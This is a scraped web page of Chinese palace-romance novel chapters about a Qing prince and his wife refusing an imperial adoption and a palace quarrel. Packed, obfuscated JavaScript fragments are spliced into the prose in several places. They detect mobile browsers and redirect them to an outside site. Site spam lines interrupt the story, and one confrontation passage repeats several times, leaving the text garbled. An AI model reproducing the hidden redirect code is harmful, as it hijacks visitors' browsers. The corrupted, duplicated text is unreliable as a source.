胤礼身上有一种风流倜傥的气质,因着是新婚,他穿着淡胭脂色的常服,微微环着思瑾的腰肢,两个人极其般配。 胤礼和思瑾是名副其实的青梅竹马,早早定下了亲事,待到思瑾满十七,才成亲。 你的朋友正在书荒,快去帮帮他吧 “不了,我和朋友一起,你们今日记在雍亲王府账上。”仪欣笑盈盈摆摆手叮嘱一句,“最近换季,瑾瑾注意些身子。” 胤礼主动拱手应声,笑着说:“四嫂放心,弟弟会照顾好瑾瑾。” 仪欣在外颇有皇家长嫂的气质,安抚欣慰抬了抬手腕,示意他们请便,由晴云扶着进了包厢。 思瑾轻声对胤礼感慨说:“从前冬日初春,都是见不到四嫂出门的,她幼时身子很弱,如今这般康健。” 她身子也不好,本来及笄便会成亲,可阿玛跟万岁爷求圣旨,特意多留她两年再出嫁。 胤礼点了点头,温声道:“我也会好好照顾你,明日便进宫跟皇阿玛讨个太医留在咱们府上。” 用过午膳,仪欣跟植宁去照春芳听曲,大大方方打赏了不菲的银两,植宁看得心惊胆战,心头直犯突突。 跟四爷这日子还过吗?还回家吗? 仪欣瞅她一眼,握着团扇猛猛扇了扇,“你心惊胆战做什么?佟佳氏又为难你了?” 植宁给仪欣剥两颗坚果,轻咳道:“我只是怕你家四爷来抓你。” 仪欣缩了缩脖颈,又骄傲挺直脊背,哼哼哧哧说:“来了又怎么样,一块听呗。” 那边,胤禛本想着来陪仪欣听曲,却被老三绊住了脚,拒绝太多次总是不得体,正在茶楼漫不经心饮茶,狭长的眼睛寡淡看着老三,揣摩他的意图。 第186章 商量过继 茶楼外有些纷纷扰扰的声音,胤禛倦怠垂眼,听着诚亲王东一句西一句,许久不曾图穷匕见。 “三哥想说什么呢?本王愚钝,又没甚耐心。” 老三一噎,他.他竟然在自己面前称自称本王,嘴角的笑意一下子牵强起来,“你我兄弟,不过是闲谈罢了。” 胤禛哂笑,眼睛微眯吐出一口气,警告道:“三哥有什么手段,我也略有揣测,有些丑话还是要说在前头。” “朝堂上,三哥想要什么,尽管坦荡争抢,若是将手段伸到雍亲王府和后宅里,别怪弟弟心狠手辣。” 他一时半会琢磨不清老三想什么,但总归不是什么光明磊落的事情,提前打好招呼,免得到时候,某些人再诋毁他薄情寡义。 老三一凛,寒气钻入骨缝里,他倒是还好,福晋却是一刻也不能等,频频联络弘皙侧福晋乌拉那拉氏,只盼将雍亲王拉下马来。 胤禛淡淡笑了,不再揣测他的话,起身离开。 照春芳。 仪欣舒服听着戏台子上咿呀咿呀的小曲,和植宁有一搭没一搭聊着天。 自从敲打过西林觉罗氏,植宁出入佟佳府方便许多。 “听说,佟佳玉忱…一个侧室有孕了?”仪欣不悦翻个白眼,心平气和问。 植宁扯了扯唇角,点了点头,“有孕三个月了,他们都瞒着,坐稳了才让我知道…不过,这也是人之常情,我可以理解。” 仪欣胸膛气呼呼的起伏,狠狠抱了植宁一下,“人之常情?嫡福晋和侧室一前一后进府,佟佳氏是什么规矩,竟是先整出个庶长子来?” 植宁英气的眉眼带着笑意,她也觉得气恼但是并不伤心,捋了捋仪欣的流苏。 “我第一时间就跟婆母拿了管家权力,你放心,和佟佳氏结亲,本就是互利互惠,我不在意这些事情。” 仪欣眼睛弯了弯,心里酸酸的,“你要有什么委屈和难处,千万不要瞒着我。” “我还真有点事情,”植宁斟酌一下,凑到仪欣耳边,轻声说:“我想让太医给我开几副求子汤药。” 仪欣立刻答应。 两日后。 仪欣请植宁过府喝茶,让宋太医给她诊脉,开几副求子汤药。 过会儿,小良子一言难尽走进花厅,尤其是刚刚和 听说看这本书的人都是很幸运的,分享后你的运气会更棒 宋太医在廊下擦肩而过,更是讪笑噤声。 仪欣眼睛亮了亮,指了指他,“什么事? 小良子看向植宁,又垂着眼道:“福晋,宫里传来消息,十七爷向万岁爷讨太医为十七福晋调理身子,万岁爷以不合规矩拒绝了。 “那怎么了?本来就不合规矩。仪欣轻哼。 小良子说:“可是舒妃娘娘不这么想,在乾清宫跟万岁爷哭诉,说喜爱狸奴,让咱们四爷抱回了府上;如今十七爷想讨个太医为福晋调理身子,万岁爷回绝,可雍亲王府却有太医。 植宁无奈看向仪欣,这怎么办? 仪欣不悦:“舒妃娘娘这是什么意思? 让她把小豆子给她抱回去?还是让皇阿玛把宋太医拿回去? 小良子摇摇头,只道:“舒妃娘娘作为十七爷的额娘,总是要替十七爷讨些什么的。 把小良子轰了出去,仪欣抱着小豆子揉搓亲昵。 植宁凑近些低声说:“若是宋太医不方便,这汤药便先不拿了,省得落人口实。 宫里的太医不能随意为宫外命妇看诊,不提还好,若是追究起来,到底是麻烦事。 “没事。仪欣眉眼弯弯,摸了摸植宁的手,“你早些得偿所愿,比什么都好。 她什么时候才能跟王爷有个小孩子呢? 感觉真的会很幸福。 要不,这安胎求子汤药,她也喝两副? 然后再粘糊粘糊王爷,缠他一阵子。 她有四名从小到大伺候她的医女,算是她的陪嫁,最了解她的身子,如今她的身子是可以生小宝宝的。 送走植宁,仪欣打算派小良子再打听打听舒妃的事情。 便听得下人禀报,王爷回来了。 仪欣欢喜出门迎他,却见到胤禛无奈对她笑,微微侧开身子便看到身后的康熙。 仪欣规矩乖巧行礼:“儿臣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480050|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给皇阿玛请安。 康熙慈爱吩咐免礼,龙行虎步走在前面,在雍亲王府跟自己家一样。 “晚膳可有着落? 仪欣超小声又阴阳怪气:“吃小豆子。 胤禛笑着捏捏她的后腰,忍俊不禁蜷缩手指才忍住没将她抱到怀里亲一亲。 康熙纳闷看向胤禛跟 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 仪欣,小豆子是什么玩意?他怎么没听过这道菜? “那是个什么菜?” 仪欣快速改口,笑眯眯说:“儿臣说吃炒疙瘩。” 康熙纳闷看向胤禛,刚刚是说的这道菜吗? 胤禛连连点头,温声道:“好,就吃炒疙瘩。” 晚膳期间。 康熙提起今日乾清宫舒妃抱怨自己偏心雍亲王府的事情。 他细琢磨一下,确实偏心些,但也没办法。 仪欣抱着小豆子轻轻挠它的下巴,骄矜明媚轻哼:“那怎么了?只是皇阿玛有眼光罢了。” 小豆子连连喵喵叫,附和仪欣。 康熙哈哈大笑,胤禛也笑。 她向来就是不遮不掩偏爱他,喜欢他的人就是有眼光,不喜欢他的人就是那人的错。 康熙饶有兴致勾了勾手,“来,这肥猫,朕抱抱。” 胤禛抱着接过小豆子,塞到康熙怀里,含笑说:“它沉得很,日日吃的比福晋都多。” 康熙接过来乐呵呵划拉划拉小豆子的脑袋,“能吃是福。” 他环顾膳厅,总算想明白哪里不太对劲,胤禛这府上实在冷清些,没有侍妾侧室便罢了,亦没有子嗣。 他若是想享受天伦之乐,只能抱着老四夫妻养的狸奴逗弄一会儿,旁人家的翁媪含饴弄孙的年纪,他抱着猫怎么像话! 仪欣眼眸流转,情不自禁朝胤禛贴了贴,小拇指勾了勾他的佛珠。 胤禛无奈看她一眼,把佛珠褪下来套到她的手腕上,含蓄警告她消停着,皇阿玛还在这里。 康熙思索半晌,道:“不如,朕给你们挑两个年纪小的宗室阿哥和格格过继吧。” 第187章这孩子,不如就给老四养吧 胤禛唇边笑意缓缓变淡,将康熙怀里的小豆子抱回来,随意回复一句:“不用,晚些再说。” 康熙语重心长叹道:“孩子小的时候抱过来,养的熟,跟亲得一样,朕也是为你们好。” 仪欣炸毛得可以,垂着眼睛,谁要替别人养孩子呢? … 五月初五,端午宫宴。 今日入宫早,康熙身穿汉服,与民同乐,组织八旗子弟赛龙舟,赐宴赏赐粽子,同时宫中畅音阁排唱楚辞曲目。 此举某种程度上令汉人归心,彰显康熙以仁治国的风范。 胤禛就站在康熙半步远处,随康熙勉励八旗子弟,观摩赛龙舟盛会。他气质如兰,如坐云端,石青色亲王**袍紧束腰肢,一举一动,沉稳端庄贵气。 康熙微微侧头,满意看着胤禛,重重拍了拍他的肩膀,随和拉着胤禛往前面靠一些,几乎是跟他并肩。 众皇子面色各异。 皇阿玛就是如此,喜爱谁,便恨不得将那人捧到天上。 老四也是,朝堂之上,某些情况下看似温吞,实则是收放自如的克制。 晚些时候,宗室女眷款款入宫。 仪欣欢欢喜喜张望着找胤禛,见他站在康熙身侧,甜甜地对他一笑。 胤禛垂眸笑,长身玉立,克制地捻了捻佛珠。 待到开宴,仪欣才牵到胤禛的手,欢快挠了挠他的手心,轻声道:“王爷,你今天可真漂亮。” 胤禛扶着她缓缓坐下来,仔细端详一下她的眉眼,好像一副清润美丽的骨上,覆了一层薄薄的更美丽的皮。 “好了,不许夸了。”胤禛含笑咬了咬牙。 仪欣黏黏糊糊想挽上他的胳膊,又想到是在宫里,只轻轻朝胤禛蹭了蹭。 康熙照例说了几句共庆佳节的勉励话语后,鹤宣殿便歌舞升平。 康熙朗声问:“弘皙的二阿哥可来了吗?” 仪欣一顿,莫雅琪为弘皙阿哥生了个阿哥,是康熙见到的第一个曾孙,自然格外喜欢些。 弘皙高兴起身,梁九功哈着腰走上去接过奶娘怀里的小阿哥,仪欣看到莫雅琪竟是也到了宫宴,冷不丁两人对上了视线。 仪欣气鼓鼓收回视线,胤禛看她一眼就知道她琢磨什么,慢条斯理与她十指紧扣 你身边有不少朋友还没看到本章呢,快去给他们剧透吧 。 莫雅琪却是笑得更真心了。 四福晋又如何四爷绝嗣亲王爵位便是做到头了没有子嗣如今还好后来能有什么好下场? 况且近两年她发现了一个惊天大秘密。 年羹尧去后年枝被弘皙阿哥送到京郊的庄子上养病她特意在年枝的包袱里翻出了年枝记录雍亲王的手记。 厚厚一摞手记。 从年枝惊马被雍亲王救下。 到在春意楼雍亲王为年羹尧饯行商议年枝入府为侧福晋。 心惊胆战程度让她纵使放回去手记字字句句还是能记在脑子里。 雍亲王怕是跟年枝有私情那他对富察仪欣是不是装的?还能装几年呢? 回过神来莫雅琪看着万岁爷将自己的阿哥慈爱地抱在怀里她得意挑眉笑。 康熙思量着呢喃:“二阿哥…二阿哥…” 梁九功心头一动废太子也是二阿哥啊怕不是…… 二阿哥长得很漂亮莫雅琪就是明艳的长相儿子肖母二阿哥胖乎乎的很有趣胆子也很大抓挠着就想揪康熙的胡子。 德妃哎呦一声笑着道:“阿哥就是力气大些。” 康熙回过神来淡淡看一眼德妃不由自主想起胤禛有些人孙子都有了他却连个儿子都没见着影子满人讲究多子多福胤禛膝下空空怎么能行。 康熙:“二阿哥可起名字了吗?” 弘皙:“回皇珐玛不曾起名只有个乳名唤做智儿。” 康熙摸了摸智儿的脸斟酌笑了笑:“那便赐名永琳吧。” 琳美丽珍贵的玉石。 寓意极好是个极其漂亮的字。 莫雅琪眼睛一亮自从太子殿下被废 如今她生的阿哥被赐名可以破了这谣言也让弘皙尝尝父凭子贵的美事。 弘皙很高兴:“孙儿多谢皇珐玛。” 康熙捋了捋胡子漫不经心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16480051|182040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 看向胤禛发现胤禛正跟老十七对饮。 弘皙和莫雅琪相视一笑温情脉脉。 没顾得上高兴只等康熙抱累了永琳他们将永琳接回来只听 恭喜你可以去书友们那里给他们剧透了,他们一定会“羡慕嫉妒恨”的 康熙突然溺爱又乐呵呵捧了两句永琳: “永琳,朕甚是喜爱,弘皙乃是朕的长孙,永琳如今又是除年氏之子之外,朕的曾长孙,朕对他也是寄予厚望啊。” 康熙此言一出,宴会都寂静一些。 老九老八对视一眼,皇阿玛此言,难不成是替咸安宫的废太子造势吗? 本来年氏那个不伦不类的孩子被康熙记作长子,众人就是在看弘皙这个皇长孙的笑话,如今康熙这段话,却又拨乱反正,承认了永琳是皇长孙长子的身份。 弘皙心脏怦怦跳,亲近孺慕看着康熙。 仪欣瘪了瘪嘴,呦呦呦,曾长孙,呦呦呦,小猫钓鱼,咬着这个“长”字说一辈子。 胤禛忍着笑意给她剥一个红豆甜粽,压低声音道:“皇阿玛此言话中有话,你只管看戏便是,本王了解皇阿玛,甜枣之后,必有巴掌。” 仪欣小声嘀咕:“王爷,你简直是聪明的冒泡泡!” 胤禛轻咳,耳尖微红:“咳…好了,别夸了。” 康熙乐呵呵摸了摸永琳的脑瓜,不管下面坐着的人如何紧张,美滋滋说出自己的打算:“这么好的孩子,不如就给老四养吧。” 什么?! 什么??!!! 一冷一热,莫雅琪和弘皙都傻了,没反应过来康熙说的话。 胤禛唇角慢慢下压,他说怎么这么不对劲呢,皇阿玛根本不会原谅太子,又怎会抬举永琳。 甜枣之后,必有巴掌! 仪欣眼前一黑,甜枣她可一口没吃,巴掌凭啥扇她哇!!! 她焦急挠胤禛掌心,眼里霎时乌润润含了泪珠,王爷,赶紧开动你聪明的脑瓜,快点王爷。 胤禛握住仪欣的手腕,安抚拍了拍她的手,淡然一笑,起身慢悠悠道:“儿臣多谢皇阿玛厚爱,只是,敬谢不敏。” 第188章给你脸,是你不要。 康熙亦是不悦,他废了多少口舌才给他找个合适的孩子,他怎么不识好歹呢? 况且这么多宗亲在场,老四一个敬谢不敏,他的金口玉言往哪里搁? 胤禛垂了垂眸,面色如常挠了挠仪欣的掌心。 仪欣霎时好似通透了一样,病怏怏轻轻咳嗽两声,慢吞吞起身,吸了吸鼻尖,随着胤禛唉声叹气道:“儿臣…敬谢不敏,多…谢皇阿玛…抬爱。” 说完,弱柳扶风凭依在胤禛身上,苍白着脸看康熙,跟喘不过气来似的。 胤禛面露疼惜,仪欣眼眶红润润的,眼尾耷拉着,仿佛受了天大的委屈。 她本来就被突如其来的转折搞得心惊肉跳,此时额前微落细腻汗珠,胸膛不甚舒服,又惯会拿捏着病弱的力道卖可怜。 小夫妻同时眼巴巴看着康熙,似乎在说,皇阿玛,不要啊!!! 弘皙反应过来,扯了扯唇角,隐晦又不舍说舍不得孩子,想孩子大些跟四叔多来往。 康熙目瞪口呆,这…这…给胤禛个孩子,倒成了恶人了?倒是里外不是人了? 尤其是富察氏,怎么霎时楚楚可怜,鼻梁和眼尾都红通通的,跟让谁欺负了似的,咳喘不止。 这马齐知道了,还不得要杀到乾清宫来? 胤禛淡淡叹口气,看着她的小表情,心里喜欢的不行,悄咪咪掐了掐她的腰窝,仪欣瞪眼,刹那眼泪就掉了下来。 康熙摆摆手,将孩子递给梁九功,罢了,富察氏这身子骨,真是的… “罢了,过后再议。” 康熙显然对永琳没这么热切,梁九功见状吩咐畅音阁歌舞继续。 莫雅琪劫后余生般抱紧永琳,她的孩子,她的孩子啊。 康熙被胤禛夫妻扫兴,送孩子不成,就对宴会没什么兴致,起身摆驾离开。 胤禛将佛珠套到仪欣手腕上,仪欣攥着胤禛的手腕不愿让他去哄康熙。 皇阿玛这是隔三差五就出个馊主意,实在是太无厘头了。 还好她聪明反应快,得王爷真传。 “乖,听话,晚上回去哄乖乖。”胤禛借给她舀老鸭汤,轻声在她耳边说。 仪欣轻哼,松开攥着他的手指,胤禛无奈对她弯唇笑,起身离开。 康熙怒火中烧坐在摇摇晃晃御 辇上,宛若沉默的苍龙,金口玉言被当众驳斥,若不是胤禛,他就当众发落了那人。 梁九功:“万岁爷,四爷求见。” 康熙冷笑:“朕不见什么四爷。” 梁九功一噎,父子掐架,奴才遭殃,这叫什么事。 万岁爷确实也真够想起一出来是一出的,过继也好,暂时养着永琳阿哥也罢,总该跟四爷和四福晋打声招呼。 冷不丁提起。 胤禛快步赶上,无辜站在康熙的御辇之前,拦住了康熙的去路。 康熙冷哼:“拉下去。” 胤禛笑,央求般唤道:“阿玛…” 半刻钟后,胤禛陪着康熙走在树荫下,康熙懒得跟他说话,胤禛沉默寡言,亦是不说话,就闲庭信步般跟着康熙。 康熙不悦:“富察氏刚刚装得过了些。” 胤禛贴心说:“事发突然,儿子和福晋绞尽脑汁为阿玛找台阶,拙劣些,阿玛就将就着吧。” 总比下不来台好。 康熙气笑了,站在原处踢了胤禛两脚,“朕真是养儿得计!还得劳烦四爷给朕台阶?” 他不过是怜爱胤禛膝下空虚,胤禛已是而立之年,无子无后要有多少人诋毁,甚至鬼神之事都要找上门来。 况且…若是他百年之后…胤禛如今煊赫,可无后,不知有多少人要鲸吞蚕食掉胤禛的家业和声望,胤禛晚年又该如何… 他最近愈发思虑这些问题,看着胤禛波澜不惊的眉眼,深深叹口气:“朕是为了你好,弘皙血脉正统,又翻不出什么风浪,他的孩子,最合适。” 永琳毕竟是嫡子之后,身份比宗亲里的阿哥尊贵,胤禛还能压得住弘皙。 不会担忧孩子大了,再亲近亲生阿玛额娘的事情。 至于伦理问题,满人父死子继,兄终弟及,他是皇帝,就算将永琳记作胤禛的儿子,又有谁敢说个“不”字呢? 胤禛沉默一小会儿,不知道在想什么,半晌弯了弯唇,“儿子只想为大清鞠躬尽瘁,子嗣之事,看缘分就好。” 康熙摇摇头,真是养个犟种。 煊赫殿。 仪欣毛茸茸地溜出去,十三福晋跟在后面温柔劝慰着,两人在茂密的柳树下踱步。 “十三弟妹,我没事啦。”仪欣笑着说 。 她心跳还是很快,忙不迭转移话题,“弘晈最近乖不乖?” 完颜氏温婉一笑,提起孩子总有说不完的话,分享弘晈和弯弯的小事。 仪欣听得津津有味,好不容易不再想了,只听身后一道怨念的声音传来。 “富察仪欣,你怎么总是要抢我的东西?” 仪欣不用看便知来人是谁,“我抢你的东西?我抢你的东西?!” 她气坏了,她怎么总是受气啊!!! 老虎不发威,当她是小豆子吗? 莫雅琪情绪亦有些崩溃,想到手上握着雍亲王的把柄,不由得口无遮拦:“难道不是吗?从前你我是同窗,你诗词歌赋样样不如我,偏偏那些阿哥们却只看得见你。” 她只能更用功,却发现富察仪欣吊儿郎当毫不费力也能得到那么多人的喜欢。 她订下皇长孙为嫡福晋,富察仪欣转身风风光光嫁给了雍亲王。 如今她骄傲生下永琳,而富察仪欣没有孩子,可永琳也险些成了她的儿子。 仪欣想不通她的逻辑在哪里,唇色苍白,脸色气得绯红:“你在我富察氏的学堂读书,我的兄长,我的表兄妹,天然偏爱我,跟你有什么关系?” 完颜氏劝道:“四嫂当心身子。” 又看向神情癫狂的莫雅琪,“这是弘皙的侧福晋吧,本福晋身为婶母,还是要劝一句,言行举止,可不要失了身份。” 仪欣:“十三弟妹,你跟她说这么多干什么,咱们走吧。” 莫雅琪不痛快:“等等,不许走,我还有一件重要的事要说,你感不感兴趣?” 说着,莫雅琪拉住仪欣的衣袖。 仪欣花盆底轻捻青石板砖,转身一巴掌就扇了上去,“给你脸,是你不要。” 。 她心跳还是很快,忙不迭转移话题,“弘晈最近乖不乖?” 完颜氏温婉一笑,提起孩子总有说不完的话,分享弘晈和弯弯的小事。 仪欣听得津津有味,好不容易不再想了,只听身后一道怨念的声音传来。 “富察仪欣,你怎么总是要抢我的东西?” 仪欣不用看便知来人是谁,“我抢你的东西?我抢你的东西?!” 她气坏了,她怎么总是受气啊!!! 老虎不发威,当她是小豆子吗? 莫雅琪情绪亦有些崩溃,想到手上握着雍亲王的把柄,不由得口无遮拦:“难道不是吗?从前你我是同窗,你诗词歌赋样样不如我,偏偏那些阿哥们却只看得见你。” 她只能更用功,却发现富察仪欣吊儿郎当毫不费力也能得到那么多人的喜欢。 她订下皇长孙为嫡福晋,富察仪欣转身风风光光嫁给了雍亲王。 如今她骄傲生下永琳,而富察仪欣没有孩子,可永琳也险些成了她的儿子。 仪欣想不通她的逻辑在哪里,唇色苍白,脸色气得绯红:“你在我富察氏的学堂读书,我的兄长,我的表兄妹,天然偏爱我,跟你有什么关系?” 完颜氏劝道:“四嫂当心身子。” 又看向神情癫狂的莫雅琪,“这是弘皙的侧福晋吧,本福晋身为婶母,还是要劝一句,言行举止,可不要失了身份。” 仪欣:“十三弟妹,你跟她说这么多干什么,咱们走吧。” 莫雅琪不痛快:“等等,不许走,我还有一件重要的事要说,你感不感兴趣?” 说着,莫雅琪拉住仪欣的衣袖。 仪欣花盆底轻捻青石板砖,转身一巴掌就扇了上去,“给你脸,是你不要。” 。 她心跳还是很快,忙不迭转移话题,“弘晈最近乖不乖?” 完颜氏温婉一笑,提起孩子总有说不完的话,分享弘晈和弯弯的小事。 仪欣听得津津有味,好不容易不再想了,只听身后一道怨念的声音传来。 “富察仪欣,你怎么总是要抢我的东西?” 仪欣不用看便知来人是谁,“我抢你的东西?我抢你的东西?!” 她气坏了,她怎么总是受气啊!!! 老虎不发威,当她是小豆子吗? 莫雅琪情绪亦有些崩溃,想到手上握着雍亲王的把柄,不由得口无遮拦:“难道不是吗?从前你我是同窗,你诗词歌赋样样不如我,偏偏那些阿哥们却只看得见你。” 她只能更用功,却发现富察仪欣吊儿郎当毫不费力也能得到那么多人的喜欢。 她订下皇长孙为嫡福晋,富察仪欣转身风风光光嫁给了雍亲王。 如今她骄傲生下永琳,而富察仪欣没有孩子,可永琳也险些成了她的儿子。 仪欣想不通她的逻辑在哪里,唇色苍白,脸色气得绯红:“你在我富察氏的学堂读书,我的兄长,我的表兄妹,天然偏爱我,跟你有什么关系?” 完颜氏劝道:“四嫂当心身子。” 又看向神情癫狂的莫雅琪,“这是弘皙的侧福晋吧,本福晋身为婶母,还是要劝一句,言行举止,可不要失了身份。” 仪欣:“十三弟妹,你跟她说这么多干什么,咱们走吧。” 莫雅琪不痛快:“等等,不许走,我还有一件重要的事要说,你感不感兴趣?” 说着,莫雅琪拉住仪欣的衣袖。 仪欣花盆底轻捻青石板砖,转身一巴掌就扇了上去,“给你脸,是你不要。” 。 她心跳还是很快,忙不迭转移话题,“弘晈最近乖不乖?” 完颜氏温婉一笑,提起孩子总有说不完的话,分享弘晈和弯弯的小事。 仪欣听得津津有味,好不容易不再想了,只听身后一道怨念的声音传来。 “富察仪欣,你怎么总是要抢我的东西?” 仪欣不用看便知来人是谁,“我抢你的东西?我抢你的东西?!” 她气坏了,她怎么总是受气啊!!! 老虎不发威,当她是小豆子吗? 莫雅琪情绪亦有些崩溃,想到手上握着雍亲王的把柄,不由得口无遮拦:“难道不是吗?从前你我是同窗,你诗词歌赋样样不如我,偏偏那些阿哥们却只看得见你。” 她只能更用功,却发现富察仪欣吊儿郎当毫不费力也能得到那么多人的喜欢。 她订下皇长孙为嫡福晋,富察仪欣转身风风光光嫁给了雍亲王。 如今她骄傲生下永琳,而富察仪欣没有孩子,可永琳也险些成了她的儿子。 仪欣想不通她的逻辑在哪里,唇色苍白,脸色气得绯红:“你在我富察氏的学堂读书,我的兄长,我的表兄妹,天然偏爱我,跟你有什么关系?” 完颜氏劝道:“四嫂当心身子。” 又看向神情癫狂的莫雅琪,“这是弘皙的侧福晋吧,本福晋身为婶母,还是要劝一句,言行举止,可不要失了身份。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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完颜氏温婉一笑,提起孩子总有说不完的话,分享弘晈和弯弯的小事。 仪欣听得津津有味,好不容易不再想了,只听身后一道怨念的声音传来。 “富察仪欣,你怎么总是要抢我的东西?” 仪欣不用看便知来人是谁,“我抢你的东西?我抢你的东西?!” 她气坏了,她怎么总是受气啊!!! 老虎不发威,当她是小豆子吗? 莫雅琪情绪亦有些崩溃,想到手上握着雍亲王的把柄,不由得口无遮拦:“难道不是吗?从前你我是同窗,你诗词歌赋样样不如我,偏偏那些阿哥们却只看得见你。” 她只能更用功,却发现富察仪欣吊儿郎当毫不费力也能得到那么多人的喜欢。 她订下皇长孙为嫡福晋,富察仪欣转身风风光光嫁给了雍亲王。 如今她骄傲生下永琳,而富察仪欣没有孩子,可永琳也险些成了她的儿子。 仪欣想不通她的逻辑在哪里,唇色苍白,脸色气得绯红:“你在我富察氏的学堂读书,我的兄长,我的表兄妹,天然偏爱我,跟你有什么关系?” 完颜氏劝道:“四嫂当心身子。” 又看向神情癫狂的莫雅琪,“这是弘皙的侧福晋吧,本福晋身为婶母,还是要劝一句,言行举止,可不要失了身份。” 仪欣:“十三弟妹,你跟她说这么多干什么,咱们走吧。” 莫雅琪不痛快:“等等,不许走,我还有一件重要的事要说,你感不感兴趣?” 说着,莫雅琪拉住仪欣的衣袖。 仪欣花盆底轻捻青石板砖,转身一巴掌就扇了上去,“给你脸,是你不要。” 。 她心跳还是很快,忙不迭转移话题,“弘晈最近乖不乖?” 完颜氏温婉一笑,提起孩子总有说不完的话,分享弘晈和弯弯的小事。 仪欣听得津津有味,好不容易不再想了,只听身后一道怨念的声音传来。 “富察仪欣,你怎么总是要抢我的东西?” 仪欣不用看便知来人是谁,“我抢你的东西?我抢你的东西?!” 她气坏了,她怎么总是受气啊!!! 老虎不发威,当她是小豆子吗? 莫雅琪情绪亦有些崩溃,想到手上握着雍亲王的把柄,不由得口无遮拦:“难道不是吗?从前你我是同窗,你诗词歌赋样样不如我,偏偏那些阿哥们却只看得见你。” 她只能更用功,却发现富察仪欣吊儿郎当毫不费力也能得到那么多人的喜欢。 她订下皇长孙为嫡福晋,富察仪欣转身风风光光嫁给了雍亲王。 如今她骄傲生下永琳,而富察仪欣没有孩子,可永琳也险些成了她的儿子。 仪欣想不通她的逻辑在哪里,唇色苍白,脸色气得绯红:“你在我富察氏的学堂读书,我的兄长,我的表兄妹,天然偏爱我,跟你有什么关系?” 完颜氏劝道:“四嫂当心身子。” 又看向神情癫狂的莫雅琪,“这是弘皙的侧福晋吧,本福晋身为婶母,还是要劝一句,言行举止,可不要失了身份。” 仪欣:“十三弟妹,你跟她说这么多干什么,咱们走吧。” 莫雅琪不痛快:“等等,不许走,我还有一件重要的事要说,你感不感兴趣?” 说着,莫雅琪拉住仪欣的衣袖。 仪欣花盆底轻捻青石板砖,转身一巴掌就扇了上去,“给你脸,是你不要。” 第189章闺房之乐,抄离骚 “啪——” 莫雅琪脸偏过去下意识捂上左脸她的流苏被挂在发簪上身子也一个踉跄。 仪欣跟莫雅琪差不多高临时起意手上没力气但是那种羞辱感足以让人崩溃。 “你打我?我可不是什么奴才丫鬟众目睽睽之下你打我?”莫雅琪尖声反问。 完颜氏愣住了怎么直接动手了呢?素闻四嫂是个不受气的性子没想到这么干脆利落。 环顾四周因着是端午宫宴宫女太监谨慎伺候着贵人这处离鹤宣殿近宫女太监来来往往此时惊恐低下头不敢做声。 仪欣抿唇憨笑体贴替她将左侧流苏摆弄整齐莫雅琪眼前有些模糊只觉面前人眉间若愁身影笼雾当她试图看清时雾气缓缓流动仪欣唇角噙着一抹极淡的笑意。 一抹似有若无的甜腻香气刮过“啪——”巴掌甩在另一侧脸上。 “莫雅琪多少年了怎么就学不乖呢?嗯?” 莫雅琪:“你不过是仗着四爷若是这倚仗没了呢?” 仪欣凶巴巴踩着花盆底就冲上去她懒得跟她掰扯废话拽着莫雅琪的旗头就胡乱扯。 “四嫂。”完颜氏没遇到过这般情境往来人将就端庄沉稳最多不过唇枪舌剑阴阳怪气些一时间手足无措。 “哎呦这是怎么了?” 三福晋款款赶来贴心惊愕拉开莫雅琪 后面跟着五福晋和九福晋。 五福晋和九福晋是亲妯娌五爷和九爷不亲近但是九福晋是个敦厚聪敏的人时而亲近帮扶五福晋两人关系不错。 “三嫂”仪欣还真不怕盯着莫雅琪又扫一眼假惺惺的三福晋“侧福晋不能随意责罚亲王福晋就要忍气吞声了?本福晋只是怕大过节的给皇阿玛添堵这才亲自教训她三嫂莫不是看我年纪小偏生要为难我容忍侄儿侧室踩在我头上?” “我可曾说过什么吗?”莫雅琪哭着问“丫鬟太监均能作证妾身不知哪里得罪了四福晋要受这般**。” 三福晋皱眉:“有些事情还是要守宫规你年纪轻不懂事这些事情确实不好劳烦皇阿玛不如 听说看这本书的人都是很幸运的,分享后你的运气会更棒 请德妃娘娘过来吧,把弘皙阿哥也叫来。 德妃娘娘跟四福晋并不和睦,这又不是什么秘密,遇到能拿捏四福晋的事情,总归不会错过。 说完,三福晋差使贴身丫鬟回鹤宣殿。 “站住,我让你动了吗?仪欣淡淡反问。 她心里却犯嘀咕,早知道出宫再动手,确实不合规矩,她又哄自己,这只是一时冲动,下次可不允许了。 丫鬟不由自主站住脚,为难看向三福晋。 柳荫,池水,绿青苔。 光影交错落在仪欣石青色的吉服上,有恃无恐,耸了耸肩,转身就走。 莫雅琪在三福晋身后垂眸问:“四福晋,真的不想知道年氏的事情吗? 三福晋大骇,示意莫雅琪不能此时说出来,若是没有周全安排,她们都得栽进去,这真是扶不上墙意气用事。 仪欣顿住脚步。 “什么年氏的事情,爷也想听听。 八爷九爷十爷一起过来,那话竟是老八温和浅笑着问出口的。 * 帝王仪仗跟在身后。 